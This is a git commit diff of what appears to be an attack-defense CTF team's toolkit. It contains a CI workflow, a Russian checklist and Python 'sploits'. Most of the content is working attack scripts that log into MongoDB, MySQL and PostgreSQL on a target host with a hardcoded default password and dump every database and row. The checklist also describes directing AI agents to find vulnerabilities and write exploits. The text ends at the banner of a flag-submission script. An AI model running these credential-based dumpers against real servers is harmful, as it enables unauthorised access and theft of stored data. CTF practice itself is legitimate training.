Initial commit
This commit is contained in:
@@ -0,0 +1,116 @@
|
|||||||
|
name: build-and-push
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches: [main]
|
||||||
|
paths:
|
||||||
|
- 'services/**'
|
||||||
|
- '.gitea/workflows/build-and-push.yml'
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
service:
|
||||||
|
description: "Service to build ('all' or a single dir name)"
|
||||||
|
required: false
|
||||||
|
default: all
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: build-${{ github.ref }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
env:
|
||||||
|
REGISTRY: git.itqdev.xyz
|
||||||
|
NAMESPACE: 4x10m
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
detect:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
outputs:
|
||||||
|
services: ${{ steps.set.outputs.services }}
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
with:
|
||||||
|
fetch-depth: 0
|
||||||
|
|
||||||
|
- id: set
|
||||||
|
shell: bash
|
||||||
|
run: |
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
if [ "${{ github.event_name }}" = "workflow_dispatch" ] && [ "${{ github.event.inputs.service }}" != "all" ]; then
|
||||||
|
CHANGED="${{ github.event.inputs.service }}"
|
||||||
|
else
|
||||||
|
BEFORE="${{ github.event.before }}"
|
||||||
|
WORKFLOW_TOUCHED=""
|
||||||
|
if [ "${{ github.event_name }}" = "push" ]; then
|
||||||
|
WORKFLOW_TOUCHED=$(git diff --name-only "$BEFORE" "${{ github.sha }}" -- .gitea/workflows/build-and-push.yml 2>/dev/null || true)
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "${{ github.event_name }}" != "push" ] \
|
||||||
|
|| [ -z "$BEFORE" ] \
|
||||||
|
|| [ "$BEFORE" = "0000000000000000000000000000000000000000" ] \
|
||||||
|
|| ! git cat-file -e "${BEFORE}^{commit}" 2>/dev/null \
|
||||||
|
|| [ -n "$WORKFLOW_TOUCHED" ]; then
|
||||||
|
CHANGED=$(find services -mindepth 1 -maxdepth 1 -type d -exec basename {} \;)
|
||||||
|
else
|
||||||
|
CHANGED=$(git diff --name-only "$BEFORE" "${{ github.sha }}" -- services/ \
|
||||||
|
| awk -F/ 'NF>1 {print $2}' | sort -u)
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
JSON="["
|
||||||
|
FIRST=1
|
||||||
|
for s in $CHANGED; do
|
||||||
|
[ -d "services/$s" ] || continue
|
||||||
|
if [ "$FIRST" -eq 1 ]; then JSON="$JSON\"$s\""; FIRST=0; else JSON="$JSON,\"$s\""; fi
|
||||||
|
done
|
||||||
|
JSON="$JSON]"
|
||||||
|
|
||||||
|
echo "Changed services: $JSON"
|
||||||
|
echo "services=$JSON" >> "$GITHUB_OUTPUT"
|
||||||
|
|
||||||
|
build:
|
||||||
|
needs: detect
|
||||||
|
if: needs.detect.outputs.services != '[]'
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
permissions:
|
||||||
|
contents: read
|
||||||
|
packages: write
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
service: ${{ fromJSON(needs.detect.outputs.services) }}
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Login to Gitea registry
|
||||||
|
env:
|
||||||
|
REG_USER: ${{ secrets.REGISTRY_USER || github.actor }}
|
||||||
|
REG_TOKEN: ${{ secrets.REGISTRY_TOKEN || secrets.GITHUB_TOKEN }}
|
||||||
|
run: |
|
||||||
|
set -euo pipefail
|
||||||
|
echo "Logging in to $REGISTRY as $REG_USER"
|
||||||
|
echo "$REG_TOKEN" | docker login "$REGISTRY" -u "$REG_USER" --password-stdin
|
||||||
|
|
||||||
|
- name: Build & push ${{ matrix.service }}
|
||||||
|
working-directory: services/${{ matrix.service }}
|
||||||
|
run: |
|
||||||
|
set -euo pipefail
|
||||||
|
SHA=$(echo "${{ github.sha }}" | cut -c1-8)
|
||||||
|
export SECRET_KEY="${SECRET_KEY:-ci-build}"
|
||||||
|
|
||||||
|
export IMAGE_TAG=latest
|
||||||
|
docker compose build
|
||||||
|
|
||||||
|
IMAGES=$(docker compose config --images | grep "^${REGISTRY}/${NAMESPACE}/" | sort -u)
|
||||||
|
if [ -z "$IMAGES" ]; then
|
||||||
|
echo "No registry-owned images found for ${{ matrix.service }}" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
for img in $IMAGES; do
|
||||||
|
base="${img%:*}"
|
||||||
|
docker tag "$img" "${base}:${SHA}"
|
||||||
|
docker push "$img"
|
||||||
|
docker push "${base}:${SHA}"
|
||||||
|
echo "pushed $img and ${base}:${SHA}"
|
||||||
|
done
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
.DS_store
|
||||||
|
.idea
|
||||||
|
target/
|
||||||
|
local_reports/
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
# Alpha A/D
|
||||||
|
|
||||||
|
## AD чеклист
|
||||||
|
|
||||||
|
- [ ] Поднять инфру на vulnbox (Pacmate+Firegex)
|
||||||
|
- [ ] Поднять ферму в локалке с вашей командой с сетевым доступом к борде (+настроить конфиг фермы) (возможно локально у одного участника команды)
|
||||||
|
- [ ] Поменять в start_sploit.py ip-адрес и пароль от фермы (запушить!)
|
||||||
|
- [ ] Склонить репу с сервисами каждому участнику, закинуть туда выданные сервисы, продублировав в папку services_vulnerable для сохранения диффа, все патчи делать в папке services
|
||||||
|
- [ ] Склонить репу на vulnbox, чтобы можно было делать git pull
|
||||||
|
- [ ] Поднять сервисы на vulnbox
|
||||||
|
- [ ] Настроить фильры в Pacmate по регулярке флага и добавить сервисы
|
||||||
|
|
||||||
|
Далее как писать сплойты:
|
||||||
|
сплойт - это python скрипт, который принимает
|
||||||
|
```python
|
||||||
|
ip = sys.argv[1]
|
||||||
|
```
|
||||||
|
этот ip будет в argv передавать start_sploit.py с фермы
|
||||||
|
|
||||||
|
далее в сплойте обязательно надо поставить
|
||||||
|
```python
|
||||||
|
#!/bin/python3
|
||||||
|
```
|
||||||
|
|
||||||
|
далее сплойт должен печатать флаги и вместе с ним любой мусор в stdout (можно не фильтровать флаги из всего вывода, это сделаем start_sploit.py), для этого надо во всех print() делать
|
||||||
|
|
||||||
|
```python
|
||||||
|
print("", flush=True)
|
||||||
|
```
|
||||||
|
|
||||||
|
запускать сплойт через start_sploit.py
|
||||||
|
|
||||||
|
```python3
|
||||||
|
./start_sploit.py splot.py
|
||||||
|
```
|
||||||
|
|
||||||
|
автоматом все флаги, которые собрал сплойт, будут отправляться на ферму
|
||||||
|
|
||||||
|
Флоу во время AD:
|
||||||
|
- При выдаче сервисов сразу натравливаем агентов искать уязы и писать сплойты, скормив правила написания выше
|
||||||
|
- Можно поднимать локально для тестов сплойтов
|
||||||
|
- Поменять все дефолт креды и токены в коде (запушить, подтянуть на vulnbox, ребилдить и редеплойнуть на vulnbox!!) но сохранить старые в файле где то
|
||||||
|
- Как только открывается сеть запукаем сплойты через start_sploit.py (мониторим что ферма работает и получает флаги и отправляет в борду!!!)
|
||||||
|
- Патчим все сервисы на найденные уязы (редеплоим)
|
||||||
|
- Так же если были открыты БД на портах во вне, запускаем сплойты на дефолт креды на БД
|
||||||
|
- Далее смотрим куда чекеры кладут флаги по Pacmate - ищем flag store и говорим агентам понять как туда добраться через уязы - пишем сплойты
|
||||||
|
- Отдельно мониторим что сервисы не падают и чекеры проходят
|
||||||
|
- Отдельно мониторим когда у вас крадут флаги - сразу смотрим в пакмейт и ищем через что они у вас утекают
|
||||||
|
- (проверить не у всех ли одинаковый пароль ssh от vulnbox!!)
|
||||||
|
|
||||||
|
## CI/CD
|
||||||
|
|
||||||
|
Там короче собирает вот, не забудьте добавить в compose.yaml `image: git.itqdev.xyz/4x10m/<service>:${IMAGE_TAG:-latest}`
|
||||||
@@ -0,0 +1,106 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
# Credentials from creds.md
|
||||||
|
DEFAULT_MONGO_USER = "admin"
|
||||||
|
DEFAULT_MONGO_PASSWORD = "S3cr3tP4ssw0rd"
|
||||||
|
DEFAULT_MONGO_PORT = 27017
|
||||||
|
|
||||||
|
try:
|
||||||
|
from pymongo import MongoClient
|
||||||
|
from pymongo.errors import PyMongoError
|
||||||
|
except Exception:
|
||||||
|
MongoClient = None # type: ignore
|
||||||
|
PyMongoError = Exception # type: ignore
|
||||||
|
|
||||||
|
|
||||||
|
def eprint(*args: Any, **kwargs: Any) -> None:
|
||||||
|
print(*args, file=sys.stderr, **kwargs)
|
||||||
|
|
||||||
|
|
||||||
|
def build_uri(host: str, user: str, password: str, port: int) -> str:
|
||||||
|
# Use admin as authSource by default
|
||||||
|
return f"mongodb://{user}:{password}@{host}:{port}/?authSource=admin"
|
||||||
|
|
||||||
|
|
||||||
|
def dump_all(client: "MongoClient") -> None: # type: ignore[name-defined]
|
||||||
|
"""Enumerate all databases/collections and print JSON lines to stdout."""
|
||||||
|
try:
|
||||||
|
db_names = client.list_database_names()
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed to list databases: {ex}")
|
||||||
|
return
|
||||||
|
|
||||||
|
for db_name in db_names:
|
||||||
|
try:
|
||||||
|
db = client[db_name]
|
||||||
|
coll_names = db.list_collection_names()
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed to list collections for db={db_name}: {ex}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
for coll_name in coll_names:
|
||||||
|
try:
|
||||||
|
coll = db[coll_name]
|
||||||
|
# Stream documents to stdout as JSONL
|
||||||
|
for doc in coll.find({}):
|
||||||
|
try:
|
||||||
|
# Convert ObjectId and other types using default=str
|
||||||
|
print(json.dumps({
|
||||||
|
"db": db_name,
|
||||||
|
"collection": coll_name,
|
||||||
|
"document": doc,
|
||||||
|
}, default=str), flush=True)
|
||||||
|
except Exception as jex:
|
||||||
|
eprint(f"[!] JSON encode error for {db_name}.{coll_name}: {jex}")
|
||||||
|
continue
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed reading collection {db_name}.{coll_name}: {ex}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} <target>")
|
||||||
|
return 1
|
||||||
|
|
||||||
|
target_host = sys.argv[1]
|
||||||
|
|
||||||
|
if MongoClient is None:
|
||||||
|
eprint("pymongo is not installed, please `pip install pymongo` to run this sploit")
|
||||||
|
return 2
|
||||||
|
|
||||||
|
mongo_user = DEFAULT_MONGO_USER
|
||||||
|
mongo_password = DEFAULT_MONGO_PASSWORD
|
||||||
|
mongo_port = DEFAULT_MONGO_PORT
|
||||||
|
|
||||||
|
uri = build_uri(target_host, mongo_user, mongo_password, mongo_port)
|
||||||
|
try:
|
||||||
|
client = MongoClient(uri, serverSelectionTimeoutMS=3000)
|
||||||
|
# Trigger server selection to validate connection
|
||||||
|
_ = client.admin.command("ping")
|
||||||
|
except PyMongoError as ex: # type: ignore[misc]
|
||||||
|
eprint(f"[!] Connection error to {uri}: {ex}")
|
||||||
|
return 3
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Unexpected error connecting to {uri}: {ex}")
|
||||||
|
return 4
|
||||||
|
|
||||||
|
try:
|
||||||
|
dump_all(client)
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
client.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
|
|
||||||
@@ -0,0 +1,189 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
from typing import Any, Dict, Iterable, List
|
||||||
|
|
||||||
|
DEFAULT_MYSQL_USER = "admin"
|
||||||
|
DEFAULT_MYSQL_PASSWORD = "S3cr3tP4ssw0rd"
|
||||||
|
DEFAULT_MYSQL_PORT = 3306
|
||||||
|
|
||||||
|
try:
|
||||||
|
import pymysql
|
||||||
|
from pymysql.cursors import SSCursor, SSDictCursor
|
||||||
|
from pymysql.err import MySQLError, OperationalError
|
||||||
|
except Exception:
|
||||||
|
pymysql = None
|
||||||
|
SSCursor = None
|
||||||
|
SSDictCursor = None
|
||||||
|
MySQLError = Exception
|
||||||
|
OperationalError = Exception
|
||||||
|
|
||||||
|
|
||||||
|
SYSTEM_DBS = {
|
||||||
|
"information_schema",
|
||||||
|
"performance_schema",
|
||||||
|
"mysql",
|
||||||
|
"sys",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def eprint(*args: Any, **kwargs: Any) -> None:
|
||||||
|
print(*args, file=sys.stderr, **kwargs)
|
||||||
|
|
||||||
|
|
||||||
|
def connect(db: str, host: str, user: str, password: str, port: int):
|
||||||
|
assert pymysql is not None
|
||||||
|
return pymysql.connect(
|
||||||
|
host=host,
|
||||||
|
user=user,
|
||||||
|
password=password,
|
||||||
|
database=db if db else None,
|
||||||
|
port=port,
|
||||||
|
connect_timeout=3,
|
||||||
|
charset="utf8mb4",
|
||||||
|
autocommit=True,
|
||||||
|
cursorclass=SSDictCursor if SSDictCursor is not None else None,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def list_databases(conn) -> List[str]:
|
||||||
|
dbs: List[str] = []
|
||||||
|
try:
|
||||||
|
with conn.cursor() as cur:
|
||||||
|
cur.execute("SHOW DATABASES")
|
||||||
|
rows = cur.fetchall()
|
||||||
|
for r in rows:
|
||||||
|
name = r[0] if isinstance(r, (tuple, list)) else (r.get("Database") if isinstance(r, dict) else None)
|
||||||
|
if not name:
|
||||||
|
continue
|
||||||
|
if name in SYSTEM_DBS:
|
||||||
|
continue
|
||||||
|
dbs.append(name)
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed to list databases: {ex}")
|
||||||
|
return dbs
|
||||||
|
|
||||||
|
|
||||||
|
def list_tables(conn, db: str) -> List[str]:
|
||||||
|
tables: List[str] = []
|
||||||
|
try:
|
||||||
|
with conn.cursor() as cur:
|
||||||
|
cur.execute(
|
||||||
|
"""
|
||||||
|
SELECT table_name
|
||||||
|
FROM information_schema.tables
|
||||||
|
WHERE table_schema=%s AND table_type='BASE TABLE'
|
||||||
|
ORDER BY table_name
|
||||||
|
""",
|
||||||
|
(db,),
|
||||||
|
)
|
||||||
|
rows = cur.fetchall()
|
||||||
|
for r in rows:
|
||||||
|
name = r[0] if isinstance(r, (tuple, list)) else (r.get("table_name") if isinstance(r, dict) else None)
|
||||||
|
if name:
|
||||||
|
tables.append(name)
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed to list tables for db={db}: {ex}")
|
||||||
|
return tables
|
||||||
|
|
||||||
|
|
||||||
|
def stream_table_rows(conn, db: str, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]:
|
||||||
|
"""Yield rows as dicts for given db.table using server-side cursor to stream."""
|
||||||
|
if pymysql is None:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
with conn.cursor(SSDictCursor if SSDictCursor is not None else None) as cur:
|
||||||
|
identifier = f"`{db}`.`{table}`"
|
||||||
|
cur.execute(f"SELECT * FROM {identifier}")
|
||||||
|
while True:
|
||||||
|
rows = cur.fetchmany(batch)
|
||||||
|
if not rows:
|
||||||
|
break
|
||||||
|
for row in rows:
|
||||||
|
if isinstance(row, dict):
|
||||||
|
yield row
|
||||||
|
else:
|
||||||
|
desc = [d[0] for d in cur.description] if cur.description else []
|
||||||
|
as_dict = {desc[i]: row[i] for i in range(len(desc))}
|
||||||
|
yield as_dict
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed to read {db}.{table}: {ex}")
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
def dump_all_mysql(host: str, user: str, password: str, port: int) -> None:
|
||||||
|
if pymysql is None:
|
||||||
|
eprint("PyMySQL is not installed, please `pip install pymysql` to run this sploit")
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
root_conn = connect("", host, user, password, port)
|
||||||
|
except OperationalError as ex:
|
||||||
|
eprint(f"[!] Connection error to mysql@{host}:{port}: {ex}")
|
||||||
|
return
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Unexpected error connecting to mysql@{host}:{port}: {ex}")
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
dbs = list_databases(root_conn)
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
root_conn.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
for db in dbs:
|
||||||
|
try:
|
||||||
|
conn = connect(db, host, user, password, port)
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed connecting to db={db}: {ex}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
tables = list_tables(conn, db)
|
||||||
|
for table in tables:
|
||||||
|
for row in stream_table_rows(conn, db, table):
|
||||||
|
try:
|
||||||
|
print(
|
||||||
|
json.dumps(
|
||||||
|
{
|
||||||
|
"db": db,
|
||||||
|
"table": table,
|
||||||
|
"row": row,
|
||||||
|
},
|
||||||
|
default=str,
|
||||||
|
),
|
||||||
|
flush=True,
|
||||||
|
)
|
||||||
|
except Exception as jex:
|
||||||
|
eprint(f"[!] JSON encode error for {db}.{table}: {jex}")
|
||||||
|
continue
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
conn.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} <target>")
|
||||||
|
return 1
|
||||||
|
|
||||||
|
target_host = sys.argv[1]
|
||||||
|
|
||||||
|
mysql_user = os.getenv("MYSQL_USER", DEFAULT_MYSQL_USER)
|
||||||
|
mysql_password = os.getenv("MYSQL_PASSWORD", DEFAULT_MYSQL_PASSWORD)
|
||||||
|
try:
|
||||||
|
mysql_port = int(os.getenv("MYSQL_PORT", str(DEFAULT_MYSQL_PORT)))
|
||||||
|
except ValueError:
|
||||||
|
mysql_port = DEFAULT_MYSQL_PORT
|
||||||
|
|
||||||
|
dump_all_mysql(target_host, mysql_user, mysql_password, mysql_port)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
@@ -0,0 +1,171 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
from typing import Any, Dict, Iterable, List, Optional, Tuple
|
||||||
|
|
||||||
|
DEFAULT_PG_USER = "admin"
|
||||||
|
DEFAULT_PG_PASSWORD = "S3cr3tP4ssw0rd"
|
||||||
|
DEFAULT_PG_PORT = 5432
|
||||||
|
DEFAULT_PG_DB = "postgres"
|
||||||
|
|
||||||
|
try:
|
||||||
|
import psycopg2
|
||||||
|
import psycopg2.extras
|
||||||
|
from psycopg2 import OperationalError, sql
|
||||||
|
except Exception:
|
||||||
|
psycopg2 = None
|
||||||
|
OperationalError = Exception
|
||||||
|
sql = None
|
||||||
|
|
||||||
|
|
||||||
|
def eprint(*args: Any, **kwargs: Any) -> None:
|
||||||
|
print(*args, file=sys.stderr, **kwargs)
|
||||||
|
|
||||||
|
|
||||||
|
def connect(dbname: str, host: str, user: str, password: str, port: int):
|
||||||
|
assert psycopg2 is not None
|
||||||
|
return psycopg2.connect(
|
||||||
|
dbname=dbname,
|
||||||
|
host=host,
|
||||||
|
user=user,
|
||||||
|
password=password,
|
||||||
|
port=port,
|
||||||
|
connect_timeout=3,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def list_databases(conn) -> List[str]:
|
||||||
|
dbs: List[str] = []
|
||||||
|
try:
|
||||||
|
with conn.cursor() as cur:
|
||||||
|
cur.execute(
|
||||||
|
"""
|
||||||
|
SELECT datname
|
||||||
|
FROM pg_database
|
||||||
|
WHERE datistemplate = false
|
||||||
|
ORDER BY datname
|
||||||
|
"""
|
||||||
|
)
|
||||||
|
dbs = [row[0] for row in cur.fetchall()]
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed to list databases: {ex}")
|
||||||
|
return dbs
|
||||||
|
|
||||||
|
|
||||||
|
def list_tables(conn) -> List[Tuple[str, str]]:
|
||||||
|
"""Return [(schema, table), ...] for all base tables user can read."""
|
||||||
|
tables: List[Tuple[str, str]] = []
|
||||||
|
try:
|
||||||
|
with conn.cursor() as cur:
|
||||||
|
cur.execute(
|
||||||
|
"""
|
||||||
|
SELECT table_schema, table_name
|
||||||
|
FROM information_schema.tables
|
||||||
|
WHERE table_type='BASE TABLE'
|
||||||
|
AND table_schema NOT IN ('pg_catalog', 'information_schema')
|
||||||
|
ORDER BY table_schema, table_name
|
||||||
|
"""
|
||||||
|
)
|
||||||
|
tables = [(r[0], r[1]) for r in cur.fetchall()]
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed to list tables: {ex}")
|
||||||
|
return tables
|
||||||
|
|
||||||
|
|
||||||
|
def stream_table_rows(conn, schema: str, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]:
|
||||||
|
"""Yield rows as dicts for given schema.table in batches."""
|
||||||
|
try:
|
||||||
|
with conn.cursor(name=f"cur_{schema}_{table}", cursor_factory=psycopg2.extras.DictCursor) as cur:
|
||||||
|
identifier = f'"{schema}"."{table}"'
|
||||||
|
cur.itersize = batch
|
||||||
|
cur.execute(f"SELECT * FROM {identifier}")
|
||||||
|
while True:
|
||||||
|
rows = cur.fetchmany(batch)
|
||||||
|
if not rows:
|
||||||
|
break
|
||||||
|
for row in rows:
|
||||||
|
yield dict(row)
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed to read {schema}.{table}: {ex}")
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
def dump_all_pg(host: str, user: str, password: str, port: int) -> None:
|
||||||
|
if psycopg2 is None:
|
||||||
|
eprint("psycopg2 is not installed, please `pip install psycopg2-binary` to run this sploit")
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
root_conn = connect(DEFAULT_PG_DB, host, user, password, port)
|
||||||
|
root_conn.autocommit = True
|
||||||
|
except OperationalError as ex:
|
||||||
|
eprint(f"[!] Connection error to postgres@{host}:{port}: {ex}")
|
||||||
|
return
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Unexpected error connecting to postgres@{host}:{port}: {ex}")
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
dbs = list_databases(root_conn)
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
root_conn.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
for db in dbs:
|
||||||
|
try:
|
||||||
|
conn = connect(db, host, user, password, port)
|
||||||
|
conn.autocommit = True
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed connecting to db={db}: {ex}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
tables = list_tables(conn)
|
||||||
|
for schema, table in tables:
|
||||||
|
for row in stream_table_rows(conn, schema, table):
|
||||||
|
try:
|
||||||
|
print(
|
||||||
|
json.dumps(
|
||||||
|
{
|
||||||
|
"db": db,
|
||||||
|
"schema": schema,
|
||||||
|
"table": table,
|
||||||
|
"row": row,
|
||||||
|
},
|
||||||
|
default=str,
|
||||||
|
),
|
||||||
|
flush=True,
|
||||||
|
)
|
||||||
|
except Exception as jex:
|
||||||
|
eprint(f"[!] JSON encode error for {db}.{schema}.{table}: {jex}")
|
||||||
|
continue
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
conn.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} <target>")
|
||||||
|
return 1
|
||||||
|
|
||||||
|
target_host = sys.argv[1]
|
||||||
|
|
||||||
|
pg_user = os.getenv("PGUSER", DEFAULT_PG_USER)
|
||||||
|
pg_password = os.getenv("PGPASSWORD", DEFAULT_PG_PASSWORD)
|
||||||
|
try:
|
||||||
|
pg_port = int(os.getenv("PGPORT", str(DEFAULT_PG_PORT)))
|
||||||
|
except ValueError:
|
||||||
|
pg_port = DEFAULT_PG_PORT
|
||||||
|
|
||||||
|
dump_all_pg(target_host, pg_user, pg_password, pg_port)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
@@ -0,0 +1,104 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import sqlite3
|
||||||
|
from typing import Any, Dict, Iterable, List
|
||||||
|
|
||||||
|
|
||||||
|
def eprint(*args: Any, **kwargs: Any) -> None:
|
||||||
|
print(*args, file=sys.stderr, **kwargs)
|
||||||
|
|
||||||
|
|
||||||
|
def connect(db_path: str) -> sqlite3.Connection:
|
||||||
|
conn = sqlite3.connect(db_path, timeout=3)
|
||||||
|
conn.row_factory = sqlite3.Row
|
||||||
|
return conn
|
||||||
|
|
||||||
|
|
||||||
|
def list_tables(conn: sqlite3.Connection) -> List[str]:
|
||||||
|
tables: List[str] = []
|
||||||
|
try:
|
||||||
|
cur = conn.execute(
|
||||||
|
"""
|
||||||
|
SELECT name
|
||||||
|
FROM sqlite_master
|
||||||
|
WHERE type='table' AND name NOT LIKE 'sqlite_%'
|
||||||
|
ORDER BY name
|
||||||
|
"""
|
||||||
|
)
|
||||||
|
rows = cur.fetchall()
|
||||||
|
tables = [r[0] for r in rows]
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed to list tables: {ex}")
|
||||||
|
return tables
|
||||||
|
|
||||||
|
|
||||||
|
def stream_table_rows(conn: sqlite3.Connection, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]:
|
||||||
|
try:
|
||||||
|
cur = conn.execute(f"SELECT * FROM \"{table}\"")
|
||||||
|
while True:
|
||||||
|
rows = cur.fetchmany(batch)
|
||||||
|
if not rows:
|
||||||
|
break
|
||||||
|
for row in rows:
|
||||||
|
try:
|
||||||
|
yield {k: row[k] for k in row.keys()}
|
||||||
|
except Exception:
|
||||||
|
desc = [d[0] for d in cur.description] if cur.description else []
|
||||||
|
yield {desc[i]: row[i] for i in range(len(desc))}
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed to read table {table}: {ex}")
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
def dump_all_sqlite(db_path: str) -> None:
|
||||||
|
if not os.path.exists(db_path):
|
||||||
|
eprint(f"[!] SQLite database file not found: {db_path}")
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
conn = connect(db_path)
|
||||||
|
except Exception as ex:
|
||||||
|
eprint(f"[!] Failed to connect to SQLite db {db_path}: {ex}")
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
tables = list_tables(conn)
|
||||||
|
for table in tables:
|
||||||
|
for row in stream_table_rows(conn, table):
|
||||||
|
try:
|
||||||
|
print(
|
||||||
|
json.dumps(
|
||||||
|
{
|
||||||
|
"db": db_path,
|
||||||
|
"table": table,
|
||||||
|
"row": row,
|
||||||
|
},
|
||||||
|
default=str,
|
||||||
|
),
|
||||||
|
flush=True,
|
||||||
|
)
|
||||||
|
except Exception as jex:
|
||||||
|
eprint(f"[!] JSON encode error for {db_path}.{table}: {jex}")
|
||||||
|
continue
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
conn.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} <sqlite_db_path>")
|
||||||
|
return 1
|
||||||
|
|
||||||
|
db_path = sys.argv[1]
|
||||||
|
dump_all_sqlite(db_path)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
Executable
+619
@@ -0,0 +1,619 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import binascii
|
||||||
|
import itertools
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
import re
|
||||||
|
import stat
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from concurrent.futures import ThreadPoolExecutor
|
||||||
|
from enum import Enum
|
||||||
|
from math import ceil
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
if sys.version_info < (3, 4):
|
||||||
|
logging.critical('Support of Python < 3.4 is not implemented yet')
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
os_windows = (os.name == 'nt')
|
||||||
|
|
||||||
|
HEADER = '''
|
||||||
|
|
||||||
|
██████╗██╗ ██╗████████╗ ██████╗ ██╗ ██╗████████╗ ███████╗██╗ ██╗██████╗
|
||||||
|
